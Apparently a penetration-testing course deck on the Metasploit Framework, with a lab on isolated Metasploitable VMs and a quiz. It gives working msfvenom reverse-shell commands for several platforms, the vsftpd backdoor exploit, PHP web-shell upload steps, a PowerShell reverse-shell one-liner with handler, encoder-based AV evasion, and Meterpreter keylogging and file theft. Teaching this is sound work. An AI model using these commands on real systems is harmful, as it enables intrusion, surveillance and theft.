Metasploit Framework
Deck 7. The Metasploit module system (auxiliary, encoders, exploits, payloads, evasion, nops, post), running Nmap from msfconsole, building payloads with msfvenom, and using a Meterpreter session.
The Metasploit Framework (MSF) is an open-source penetration testing framework. It is used to find, exploit, and validate vulnerabilities. Both red teams (attackers) and blue teams (defenders) use it.
Launch the console with msfconsole. Open it from the Kali tools menu or install it first.
Running Nmap inside MetasploitSearch on YouTube
Metasploit keeps results in a PostgreSQL database so scans and hosts are stored and searchable. You must connect to that database first.
sudo msfdb init # initialize the Metasploit database
msfconsole # open the console
db_status # check the database is connected
db_nmap -sV 192.168.56.110 # run nmap; results are saved to the MSF database
hosts # list hosts the database now knows
services # list discovered servicesdb_nmap runs the normal Nmap scanner but writes hosts, ports and services into the workspace database, so later modules can reuse them.
The seven module typesSearch on YouTube
A E E P E N P — Auxiliary, Encoders, Exploits, Payloads, Evasion, Nops, Post.
1. AuxiliarySearch on YouTube
Auxiliary modules do not exploit vulnerabilities. They provide functions for reconnaissance, scanning, fuzzing, brute-forcing and denial of service. You can run port scans, test weak logins, or gather service information before an attack. They are used in the early stages to find targets and weak spots, and they save time by building common recon tools into Metasploit.
An IMAP fuzzer is an auxiliary module that sends malformed, unexpected or random IMAP commands to a mail server. Its purpose is to test the robustness of the server. If the server crashes, hangs or leaks information, that may indicate a vulnerability.
# FTP version scanner
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.56.110
runAn SSH auxiliary module works the same way: use the module, set the target, and run.
2. EncodersSearch on YouTube
Encoding changes data from one format to another so it can be stored, transmitted, or read by a different system. Encoders modify payloads so they avoid detection by antivirus, IDS or IPS. They do not change what the payload does, only how it looks in memory or on disk. For example, an encoder can obfuscate a reverse shell so signature-based AV does not recognise it. Encoders also make payloads compatible with different processor architectures.
3. ExploitsSearch on YouTube
Exploits take advantage of a specific vulnerability in an operating system, service or application. They are the entry point: they open the door into the target by triggering a flaw. An exploit is paired with a payload that runs once the exploit succeeds. Without exploits, Metasploit would be a toolbox with no way to deliver its code.
| Exploit | What it targets |
|---|---|
windows/smb/ms17_010_eternalblue | SMB vulnerability (EternalBlue) |
unix/ftp/vsftpd_234_backdoor | Backdoor in vsftpd 2.3.4 |
# Exploit the vsftpd 2.3.4 backdoor
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS targetIP
set PAYLOAD cmd/unix/interact
run4. PayloadsSearch on YouTube
Payloads are the code that runs on the target after an exploit succeeds. A payload can be as simple as creating a new user, or as advanced as opening a full Meterpreter shell. They are modular, so you pick the one that fits (reverse shell, bind shell, staged or non-staged).
Three payload structures:
- Singles — self-contained; do the job and exit (for example, add a user).
- Stagers — a small, lightweight loader sent first. Its only job is to set up communication between attacker and victim. Useful when the exploit only allows a tiny amount of code to run at first.
- Stages — the larger payload delivered after the stager succeeds (for example, Meterpreter with file transfer, keylogging and pivoting).
Example payloads: windows/meterpreter/reverse_tcp (interactive Meterpreter shell), cmd/unix/reverse_bash (reverse bash shell).
5. EvasionSearch on YouTube
Evasion modules help payloads and exploits bypass modern protections like antivirus, EDR and IPS. They wrap or modify code so it looks less suspicious to defensive tools. They are newer and fewer in number. Most development effort went into Windows-specific evasion, because Windows is the most targeted platform and its AV/EDR tools are the strongest. Techniques include obfuscating Meterpreter executables, packing or encrypting payloads, and using different loading techniques.
6. NopsSearch on YouTube
Nops (No Operation generators) create padding instructions. They are used mostly in buffer overflow attacks so the payload lands correctly in memory. A sled of no-operation instructions lets the CPU slide into the payload even if the exploit does not hit the exact memory address, which makes exploitation more reliable. On x86, NOP = 0x90. Metasploit ships architecture-specific NOP generators: aarch64/, armle/, mipsbe/, ppc/, riscv32le/, riscv64le/, sparc/, x86/ and x64/.
7. PostSearch on YouTube
Post-exploitation modules run after you already have a session (such as a Meterpreter shell). They gather more information, escalate privileges, pivot to other systems, or maintain persistence. Examples: dumping password hashes, collecting keylogs, or scanning internal subnets from the compromised host.
Generating payloads with msfvenomSearch on YouTube
msfvenom builds a standalone payload in a chosen file format (ELF, EXE, APK, etc.).
msfvenom -p <payload> LHOST=<attacker-ip> LPORT=<port> -f <format> -o <output-file>-p payload, LHOST/LPORT where the shell connects back, -f output format, -o output file. Use -e to apply an encoder (for example -e x86/shikata_ga_nai or -e x86/countdown).
| Command | Produces |
|---|---|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe | Windows reverse shell (EXE) |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf | Linux reverse shell (ELF) |
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o app.apk | Android payload (APK) |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho | macOS payload |
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php | Web payload (PHP) |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp | Web payload (ASP) |
Delivering a web payloadSearch on YouTube
After creating a PHP payload the steps are:
Step 1. Delivery / upload. Get the payload onto the target: via a file-upload feature, unvalidated input that allows arbitrary file writes, or a web directory where .php files are executed. Apache and Nginx run .php files automatically in directories such as /var/www/html. Upload shell.php into /var/www/html/uploads/.
Step 2. Trigger execution. Browse to the file, e.g. http://target.com/uploads/shell.php. The server runs the payload, which connects back to the tester.
Step 3. Start a listener on the attacker machine before triggering.
Step 4. Run the payload on the target.
Full exploitation activity (Windows target)Search on YouTube
Step 1. Run Nmap from Kali to map the Windows target.
Step 2. Create a PowerShell payload that runs directly in Windows PowerShell. psh-cmd produces a one-line PowerShell command.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.108 LPORT=4444 -f psh-cmdStep 3. Set up the listener on Kali (a second terminal) before pasting the command on Windows. The multi/handler catches the incoming connection.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options # see what must be set
set LHOST 192.168.56.108 # must match msfvenom
set LPORT 4444 # must match msfvenom
exploit # start listeningStep 4. Paste the generated command into the Windows command prompt. The Meterpreter session opens on Kali.
LHOST and LPORT in the handler must match the values used in msfvenom, or the payload cannot connect back.
The Meterpreter sessionSearch on YouTube
Meterpreter lets you acquire password hashes, run a keylogger and escalate privileges. Type help inside the session to list commands.
| Command | Action |
|---|---|
sysinfo | Show target OS and host info |
screenshot | Save a screenshot of the target (stored on Kali) |
ps | List processes running on the target |
keyscan_start | Start the keylogger |
keyscan_dump | Dump captured keystrokes |
keyscan_stop | Stop the keylogger |
download <file> | Download a file from the victim |
upload <file> | Send a file to the target |
background | Background the session |
exit | Close the session |
Lab 6 (Metasploit / Meterpreter). Attacker: Kali with msfconsole. Targets: Metasploitable2 (Linux) and Metasploitable3 (Windows) on an isolated network. Tasks: get an interactive session (Meterpreter or command shell), then run post-access enumeration and save the outputs — host and user context, filesystem and current location, running processes, network overview and listening services, SUID files, one file upload, one screenshot of the target, and keylogging. Also run basic commands on the Metasploitable2 Linux VM.
Quick self-testSearch on YouTube
Name the seven module types in Metasploit.
Auxiliary, Encoders, Exploits, Payloads, Evasion, Nops, Post.
What is the difference between an exploit and a payload?
The exploit triggers the vulnerability to open the door (initial access). The payload is the code that runs on the target once the exploit succeeds (for example, a reverse shell).
Why do auxiliary modules exist if they do not exploit anything?
They provide recon and support functions — port scanning, fuzzing, brute-forcing, DoS and information gathering — used early in a test to find targets and weak spots.
What is the difference between a stager and a stage?
A stager is a small loader sent first; its only job is to set up communication. A stage is the larger payload (such as Meterpreter) delivered after the stager succeeds.
What do encoders do, and what do they not change?
They change how a payload looks (to evade AV/IDS and to fit a target architecture). They do not change what the payload does.
What are NOPs used for in exploitation?
They build a NOP sled so the CPU slides into the payload even if the exploit does not hit the exact memory address. They make buffer overflow exploits more reliable. On x86, NOP = 0x90.
Write an msfvenom command for a Windows reverse-TCP EXE payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o shell.exe
Which module catches a reverse connection from a payload you generated?
exploit/multi/handler, with the same payload, LHOST and LPORT used in msfvenom.
Which Meterpreter command captures a screenshot of the target, and where is it saved?
screenshot; the image is saved on the attacker (Kali) machine.
How do you make msfvenom output a PowerShell one-liner for Windows?
Use -f psh-cmd, which produces a PowerShell command-prompt executable one-liner.
- Metasploit finds, exploits and validates vulnerabilities; start it with
msfconsole. msfdb initthendb_nmapruns Nmap and stores results in the MSF database (hosts,services).- Seven module types: auxiliary (recon/scan/fuzz), encoders (obfuscate), exploits (open the door), payloads (code that runs), evasion (bypass AV/EDR), nops (sled for reliability), post (after a session).
- Payload structures: singles, stagers (loader), stages (big payload like Meterpreter).
msfvenom -p <payload> LHOST= LPORT= -f <format> -o <file>builds standalone payloads;-eapplies an encoder.- Catch the reverse connection with
exploit/multi/handler; LHOST/LPORT must match msfvenom. - Meterpreter:
sysinfo,screenshot,ps,keyscan_dump,download/upload,background.